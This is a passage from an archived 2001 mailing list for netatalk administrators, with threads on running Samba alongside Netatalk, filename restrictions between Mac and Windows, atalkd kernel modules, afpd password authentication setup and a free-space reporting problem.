	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 15:08:54 -0500 (EST)
Received: (qmail 27679 invoked by alias); 7 Mar 2001 20:09:07 -0000
Received: (qmail 27669 invoked by uid 0); 7 Mar 2001 20:09:06 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 7 Mar 2001 20:09:06 -0000
Message-ID: <3AA69600.FB6E07@potsdam.edu>
Date: Wed, 07 Mar 2001 15:11:44 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Bryn Hughes <bhughes@vcc.bc.ca>
CC: netatalk-admins@umich.edu
Subject: Re: Samba and Netatalk
References: <saa621a3.058@keam1>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Bryn Hughes wrote:
> 
> Ah, I wasn't aware of that limitation...
> 
> How does the Mac itself deal with this?  MacOS has no trouble assigning user/group/everyone permissions...

	The permissions are kept in a separate DB, and looked at whenever
files/folders are accessed over filesharing.


-- 

 Matthew Keller
 Enterprise Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Wed Mar  7 15:21:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA27892
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 15:21:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA12983
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 15:21:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA12972
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 15:21:12 -0500 (EST)
Received: from rakete.joerdens.de ([62.104.116.200])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA12914
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 15:21:10 -0500 (EST)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id VAA12249;
	Wed, 7 Mar 2001 21:21:02 +0100
Date: Wed, 7 Mar 2001 21:21:02 +0100
From: Frank Joerdens <frank@joerdens.de>
To: Ryan McBeth <ryan@mobiusnm.com>
Cc: netatalk-admins@umich.edu
Subject: Re: Samba and Netatalk
Message-ID: <20010307212102.A12210@rakete.joerdens.de>
References: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu> <v04210102b6cbd3e9bda2@[216.155.36.73]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <v04210102b6cbd3e9bda2@[216.155.36.73]>; from ryan@mobiusnm.com on Wed, Mar 07, 2001 at 07:09:11AM -0500
X-Subliminal-Message: Use Linux! Use Linux!

On Wed, Mar 07, 2001 at 07:09:11AM -0500, Ryan McBeth wrote:
> 
> 	Daniel,
> 
> 	The two seem to co-exist together pretty well.  Rich made a 
> few valid points with .AppleDouble files.
> 
> 	However, there is one thing that you may want to bring up in 
> regards to Windows and Linux users.  You need to let them know that 
> they can't create files greater than 32 characters or the Mac users 
> won't be a able to see them.

AFAIK it's actually 27 characters?! Dunno off the top of my hat where
it's documented  . . . I can dig it up if it's interesting and if no one
else remembers . . .

Regards, Frank

From netatalk.administrators-errors@umich.edu  Wed Mar  7 15:31:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA28354
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 15:31:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA20158
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 15:31:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA20142
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 15:31:36 -0500 (EST)
Received: from rakete.joerdens.de ([62.104.116.200])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA20079
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 15:31:29 -0500 (EST)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id VAA12286;
	Wed, 7 Mar 2001 21:31:26 +0100
Date: Wed, 7 Mar 2001 21:31:26 +0100
From: Frank Joerdens <frank@joerdens.de>
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
Cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
Message-ID: <20010307213126.B12210@rakete.joerdens.de>
References: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu>; from dan@www.molbio.wisc.edu on Tue, Mar 06, 2001 at 03:57:00PM -0600
X-Subliminal-Message: Use Linux! Use Linux!

On Tue, Mar 06, 2001 at 03:57:00PM -0600, Daniel E. Lautenschleger wrote:
> Would anyone care to comment on experiences they've had sharing data out
> on a volume that was accessed by Netatalk and Samba? Any glitches? No
> problem, go ahead and do it, your nuts, dude..., etc...
> 
> Thanks. I have a dream that I can take one of our NT file servers and
> replace it with a Linux/Samba/Netatalk box. What a fine realization that
> would be...

Make sure that you're running a version of netatalk that has working
codepage support (the current snapshots are broken in this regard, AFAIK)
if you want your users to use German umlauts and such in their
filenames. Then you need to configure both Samba and Netatalk to use the
same codepage. Current versions also have a mswindows options which
disallows the creation of filenames containing the characters

/\:*?"<>|

which the PC can't deal with (my PC actually crashes when trying to
access a file containing ':' that was created on the Mac).

I'm still looking for a version of Netatalk that has _both_ working
codepage support and a working mswindows option . . . which would really
resolve all the problems we've had.

The locking issue is another matter (see below in this thread).
Interestingly, we haven't come across a single incident of this being
a problem in about 6 months of running Netatalk/Samba in a Network with 10
Macs and 5 PCs.

Regards, Frank

From netatalk.administrators-errors@umich.edu  Wed Mar  7 15:35:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA28735
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 15:35:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA18174
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 15:35:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA18152
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 15:35:38 -0500 (EST)
Received: from rakete.joerdens.de ([62.104.116.200])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA18098
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 15:35:36 -0500 (EST)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id VAA12301;
	Wed, 7 Mar 2001 21:35:17 +0100
Date: Wed, 7 Mar 2001 21:35:17 +0100
From: Frank Joerdens <frank@joerdens.de>
To: Matthew Keller <kellermg@potsdam.edu>
Cc: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>,
        Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
Message-ID: <20010307213517.C12210@rakete.joerdens.de>
References: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu> <3AA57F62.C9348CF1@potsdam.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <3AA57F62.C9348CF1@potsdam.edu>; from kellermg@potsdam.edu on Tue, Mar 06, 2001 at 07:22:58PM -0500
X-Subliminal-Message: Use Linux! Use Linux!

On Tue, Mar 06, 2001 at 07:22:58PM -0500, Matthew Keller wrote:
[ . . . ]
> 	Samba and Netatalk play completely wonderfully nice together... As long
> as you don't want users from both platforms simultaneously being able to
> access the same files, that is. There are severe locking issues (even
> NT/2000 doesn't handle it all that great

Please explain. I've kinda regretted using Netatalk/Samba because of
this and troubles with the mswindwos/codepage options. If NT/2000 has
trouble with locking too, that would be a relief!

Regards, Frank

From netatalk.administrators-errors@umich.edu  Wed Mar  7 15:36:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA28758
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 15:36:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA18884
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 15:36:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA18866
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 15:36:01 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA18772
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 15:35:59 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id PAA14509;
	Wed, 7 Mar 2001 15:35:54 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3AA69B08.49984EA2@univrel.pr.uconn.edu>
Date: Wed, 07 Mar 2001 15:33:12 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Kristin <linuxbox@telusplanet.net>
CC: netatalk-admins@umich.edu
Subject: Re: atalkd problems
References: <3AA09E2B.3185A950@telusplanet.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Kristin wrote:
> I installed and configured the Netatalk package onto a Pentium class
> system running the latest stable release of Debian. When I attemp to
> start the atalkd deamon I received the following error messages:
> 
> socket: Invalid argument
> socket: Invalid argument
> atalkd: can't get interfaces, exiting.
> 
> I have edited the /etc/netatalk/atalkd.conf file and have inserted
> "eth1" as the interface for the atalk deamon to reside on. I can
> successfully run the apdf server and the papd server with no problems at
> all. How can I solve my problem?

use:
modprobe appletalk
modprobe ipddp

to install the kernel modules that support Appletalk and AppleshareIP,
respectively.

jeff

From netatalk.administrators-errors@umich.edu  Wed Mar  7 17:52:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA02955
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 17:52:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA17216
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 17:52:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA17150
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 17:52:36 -0500 (EST)
Received: from dionysus.terrascope.com (www.terrascope.com [63.140.215.162])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA17082
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 17:52:34 -0500 (EST)
Received: from terrascope.com (localhost.localdomain [127.0.0.1])
	by dionysus.terrascope.com (8.11.0/8.11.0) with ESMTP id f27Mxcb06166
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 14:59:38 -0800
Sender: walt@dionysus.terrascope.com
Message-ID: <3AA6BD59.36FBF0AB@terrascope.com>
Date: Wed, 07 Mar 2001 14:59:37 -0800
From: Walt Reed <walt@terrascope.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: an open question
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

hello,

i'm currently running 1.5pre3 on a redhat 7.0 box.  haven't been having
any problems, but some of the developers i work with want to put the box
into our dmz.  they want to continue to use netatalk (and possibly
samba, though i haven't looked into samba's encryption options) for
convenience, but i've always thought it would be too much of a security
problem to run it in such a way and have discouraged it.  we are
currently using pam for encryption of the passwords (and i believe the
rest of the data is not encrypted?), and i'm also using tcp wrappers.
has anyone got any experience with this sort of thing?  i might add that
the external packet router we use is not under my control (the isp's)
and i don't think i could get them to add packet filtering for
appletalk.  besides, one of the developers wants to access the box in
this way from home (he has a nailed ip, so i can use tcp wrappers).
could i possibly run netatalk over ssh?

thanks,

w


From netatalk.administrators-errors@umich.edu  Wed Mar  7 20:45:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA07038
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 20:45:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA04569
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 20:45:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA04561
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 20:45:41 -0500 (EST)
Received: from postal.interaccess.com (from.interaccess.com [207.208.131.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA04548
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 20:45:40 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by postal.interaccess.com (8.10.2/8.10.2) with ESMTP id f281jdN11145
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 19:45:40 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 07 Mar 2001 19:44:54 -0600
Subject: Re: Samba and Netatalk
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: Netatalk Mailing List <netatalk-admins@umich.edu>
Message-ID: <B6CC4035.12A18%bucky@interaccess.com>
In-Reply-To: <20010307213126.B12210@rakete.joerdens.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Make sure that you're running a version of netatalk that has working
> codepage support (the current snapshots are broken in this regard, AFAIK)
> if you want your users to use German umlauts and such in their
> filenames. Then you need to configure both Samba and Netatalk to use the
> same codepage. Current versions also have a mswindows options which
> disallows the creation of filenames containing the characters
> 
> /\:*?"<>|
> 
> which the PC can't deal with (my PC actually crashes when trying to
> access a file containing ':' that was created on the Mac).

How did you create a filename with ':' in it? For as long as I can remember,
every time I type a ':' in a filename, the Finder replaces it instantly with
a '-'. The Mac uses colons the same way *nix uses '/' or DOS/Windows uses
'\' -- to terminate directory names in file paths. They are gracefully
disallowed in filenames.

-B...


From netatalk.administrators-errors@umich.edu  Wed Mar  7 21:11:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA07468
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 21:11:55 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA24879
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 21:11:55 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA24853
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 21:11:55 -0500 (EST)
Received: from charlotte.newsargus.com ([216.76.60.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id VAA24808
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 21:11:53 -0500 (EST)
Received: from 10.0.1.4 by charlotte.newsargus.com (AppleShare IP Mail Server 6.0) id 287491 via TCP with SMTP; Wed, 07 Mar 2001 21:14:49 -0500
Date: Wed,  7 Mar 2001 21:11:24 -0500
From: David Rouse <david@rouseworld.org>
Subject: Re: Latest stable for Solaris?
To: netatalk-admins@umich.edu
X-Priority: 3
In-Reply-To: <Pine.BSF.4.33.0103062058270.71078-100000@soda.csua.berkeley.edu>
Message-ID: <20010307211130-r01010600-a4f50484@10.0.1.4>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
X-Face: LU6-lGo1o,"R4WS<?7|FYx}#aR8FH#n**q#ln,x:a*S0D\Eqfc)m:Dd^0.;{`
        "~o/Hd=Vp?M03*8KL[r#BWxh=AU|Uya$E@TixSUdJz|]`50;(B}/Gybfz&Zx/CvZyn4R
        75eT:yJ!~gbcl_g)2Zl,HCN]i##}jTNX2-ZN1.9v9f8+H=

On 3/6/01 at 9:03 PM, Akop Pogosian <akopps@CSUA.Berkeley.EDU> wrote:

>I have downladed 1.5pre4 source distribution from sourceforge and had
>no end of problems trying to compile it. It seems to be quite broken
>on Solaris right now.

I'm using netatalk-1.4b2+asun2.1.3 from ... the asun FTP site I think. It
didn't give too much trouble compiling, but you might have to edit the
Makefile if you don't have certain libraries or have them in odd locations.
The defaults assume you have tcp_wrappers, DES and PAM support (I guess this
is netatalk specific pam modules).

-- 
drouse


From netatalk.administrators-errors@umich.edu  Wed Mar  7 23:52:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA10851
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 23:52:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA09019
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 23:52:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA08992
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 23:52:11 -0500 (EST)
Received: from femail12.sdc1.sfba.home.com (femail12.sdc1.sfba.home.com [24.0.95.108])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA08858
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 23:52:07 -0500 (EST)
Received: from cc416540c ([65.1.153.26]) by femail12.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20010308045212.PFSO2254.femail12.sdc1.sfba.home.com@cc416540c>;
          Wed, 7 Mar 2001 20:52:12 -0800
From: "Thomas Priore" <tom@rupture.net>
To: "Marcel Lammerse" <lammerse@xs4all.nl>
Cc: "Appletalk On Linux" <netatalk-admins@umich.edu>
Subject: RE: Help PLS, only guest can log in.
Date: Wed, 7 Mar 2001 23:50:41 -0500
Message-ID: <BJEHJOBOINDBHAMFMOFAGEGICFAA.tom@rupture.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <200103070853.JAA06704@webmail1.xs4all.nl>
Importance: Normal

Thanks for your help, I didn't get it working, but I'm much closer. I'm
getting a new error from the Mac:
"Unknown user, incorrect password, or log on disabled...."

there was no rand2numb.so, but randnumb.so was there. I think my problem now
lies with the passwd file. I made the changes to afpd as you recommended:
 - -transall -uamlist
uams_randnum.so,uams_guest.so,uams_clrtxt.so,uams_dhx.so -passwdfile
/etc/atalk/afppasswd -setpassword -savepassword

then I created the afppasswd file, and added a user with afppasswd.

Some thing interesting in the messages log, atalk seems to be coming up on
the loop back address 127.0.0.1 and doesn't mention the actual ip of the
server. Here is the messages log:

Mar  7 23:27:46 reznor atalkd[6634]: restart (1.5pre4)
Mar  7 23:27:47 reznor atalkd[6634]: zip_getnetinfo for eth0
Mar  7 23:28:06 reznor last message repeated 2 times
Mar  7 23:28:16 reznor atalkd[6634]: config for no router
Mar  7 23:28:17 reznor atalkd[6634]: ready 0/0/0
Mar  7 23:28:17 reznor atalk: atalkd startup succeeded
Mar  7 23:28:30 reznor papd[6649]: restart (1.5pre4)
Mar  7 23:28:30 reznor atalk: papd startup succeeded
Mar  7 23:28:30 reznor atalk: timelord startup succeeded
Mar  7 23:28:30 reznor atalk: afpd startup succeeded
Mar  7 23:28:36 reznor timelord[6659]: reznor:TimeLord started
Mar  7 23:28:36 reznor afpd[6669]: reznor:AFPServer@* started on
65280.237:130 (1.5pre4)
Mar  7 23:28:36 reznor afpd[6669]: ASIP started on 127.0.0.1:548(2)
(1.5pre4)
Mar  7 23:28:36 reznor afpd[6669]: uam: uams_randnum.so loaded
Mar  7 23:28:36 reznor afpd[6669]: uam: uams_guest.so loaded
Mar  7 23:28:36 reznor afpd[6669]: uam: uams_clrtxt.so loaded
Mar  7 23:28:36 reznor afpd[6669]: uam: uams_dhx.so loaded
Mar  7 23:28:36 reznor afpd[6669]: uam: "DHCAST128" available
Mar  7 23:28:36 reznor afpd[6669]: uam: "Cleartxt Passwrd" available
Mar  7 23:28:36 reznor afpd[6669]: uam: "No User Authent" available
Mar  7 23:28:36 reznor afpd[6669]: uam: "2-Way Randnum exchange" available
Mar  7 23:28:36 reznor afpd[6669]: uam: "Randnum exchange" available
Mar  7 23:29:17 reznor afpd[6676]: ASIP session:548(2) from
192.168.0.2:49301(0)
Mar  7 23:29:17 reznor afpd[6676]: 0.08KB read, 0.07KB written
Mar  7 23:29:17 reznor afpd[6669]: server_child[1] 6676 done
Mar  7 23:29:27 reznor afpd[6677]: ASIP session:548(2) from
192.168.0.2:49302(0)
Mar  7 23:29:27 reznor afpd[6669]: server_child[1] 6677 done
Mar  7 23:29:33 reznor afpd[6678]: ASIP session:548(2) from
192.168.0.2:49303(0)
Mar  7 23:29:33 reznor afpd[6678]: 0.08KB read, 0.07KB written
Mar  7 23:29:33 reznor afpd[6669]: server_child[1] 6678 done


-----Original Message-----
From: Marcel Lammerse [mailto:lammerse@xs4all.nl]
Sent: Wednesday, March 07, 2001 3:53 AM
To: Thomas Priore; netatalk-admins@umich.edu
Subject: Re: Help PLS, only guest can log in.


Hello Thomas,

it seems that I have had the exact same (first) problem. I can't explain
your
second problem, but here's something that might help you on your way. By the
way, I have a Linux redhat 6.0 system and I'm using MacOS 9.0.4.

If you want to do user-authentication, netatalk needs to support a number of
authentication methods. If you follow the instructions and compile netatalk
with the pam modules and the des library, you can see in /var/log/messages
which authentication methods are supported.

If you use the default configuration files for afpd, these methods are:
cleartext password login, guest login and Diffie-Hellman/CAST-128. None of
these will work, except for guest login.

What will work is if you look in /etc/atalk/uams and you find a randnum or
rand2num file, encrypted random numbers are supported. You will need to
configure this in afpd.conf. Just add it to uamslist. It should read
something
(I don't have Linux handy) like this:

"My volume" -transall -uamslist uams_randnum.so ...

If you've done that and you fire up netatalkd again (preferrable with the
supplied script), you should see an additional supported authentication
mechanism (encrypted random numbers).

Then what you need to do, is use the afppasswd command to create a password
file and add your user to it. Something like:

afppasswd -c /etc/atalk/afppasswd
afppasswd -a my-user
[type password twice]

Then you should be able to connect to the share via your macintosh.

If anyone knows a better/more efficient way, I'd love to hear it. If you
need
any more help, just shout.

Regards,

Marcel


Quoting Thomas Priore <tom@rupture.net>:

> Hi, I install netatalk 1.5pre4 on redhat linux 7.0. (actually I install a
> bunch of different versions, from rpm and compiling) The problem seems to
> be
> that only guest can log on. From what I've read this seems to be a shadow
> password problem, but I have no idea how to fix it. Can anyone help?
>
> I have a second problem too, which is more of a nuisance, the sever
doesn't
> show up in the client's chooser, the ip has to be typed in. Is there a fix
> for this?
>
> Thanks.
>
> Tom
>
>



From netatalk.administrators-errors@umich.edu  Thu Mar  8 02:06:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA13019
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 02:06:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA06710
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 02:06:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA06701
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 02:06:48 -0500 (EST)
Received: from syncopation-01.iinet.net.au (syncopation-01.iinet.net.au [203.59.24.37])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id CAA06672
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 02:06:46 -0500 (EST)
Received: (qmail 10998 invoked by uid 666); 8 Mar 2001 07:17:06 -0000
Received: from opera.iinet.net.au (HELO wskatinka) (203.59.24.144)
  by 0 with SMTP; 8 Mar 2001 07:17:06 -0000
Message-ID: <013501c0a79e$148b03a0$fe00a8c0@kat.lan>
From: "Kathy Quinlan" <katinka@magestower.com>
To: <netatalk-admins@umich.edu>
Subject: netatalk
Date: Thu, 8 Mar 2001 15:04:54 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

Hi all I am running netatalk on a FreeBSD server 4.1.1

I have one mac on the network, it connects to the users home directory which
has a shared directory.

the Temp directory is a mount point for a windows drive.

The FreeBSD server's /usr dir has 15.6Mb free
The windows machine has 9Gb free

from the mac I can see the windows dir (as the Temp mount point) but it
shows the free space as 15.6Mb not the 9Gb.

I have tried making the mount point a (Temp) a sharity-light mount, and also
as a symbolic link to a root mount (the root mount again is sharity-light
mounted) but it still reports the size incorrectly.

if I do a df on the FreeBSD server, it shows the mount as having 9Gb free.

Any ideas ????


Regards

Kat.



From netatalk.administrators-errors@umich.edu  Thu Mar  8 03:31:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA14443
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 03:31:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA13331
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 03:31:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA13304
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 03:31:42 -0500 (EST)
Received: from smtp4.xs4all.nl (smtp4.xs4all.nl [194.109.6.50])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA13260
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 03:31:41 -0500 (EST)
Received: from xs3.xs4all.nl (lammerse@xs3.xs4all.nl [194.109.6.44])
	by smtp4.xs4all.nl (8.9.3/8.9.3) with ESMTP id JAA27142;
	Thu, 8 Mar 2001 09:31:36 +0100 (CET)
Received: from localhost (lammerse@localhost)
	by xs3.xs4all.nl (8.9.0/8.9.0) with ESMTP id JAA09154;
	Thu, 8 Mar 2001 09:31:22 +0100 (CET)
Date: Thu, 8 Mar 2001 09:31:22 +0100 (CET)
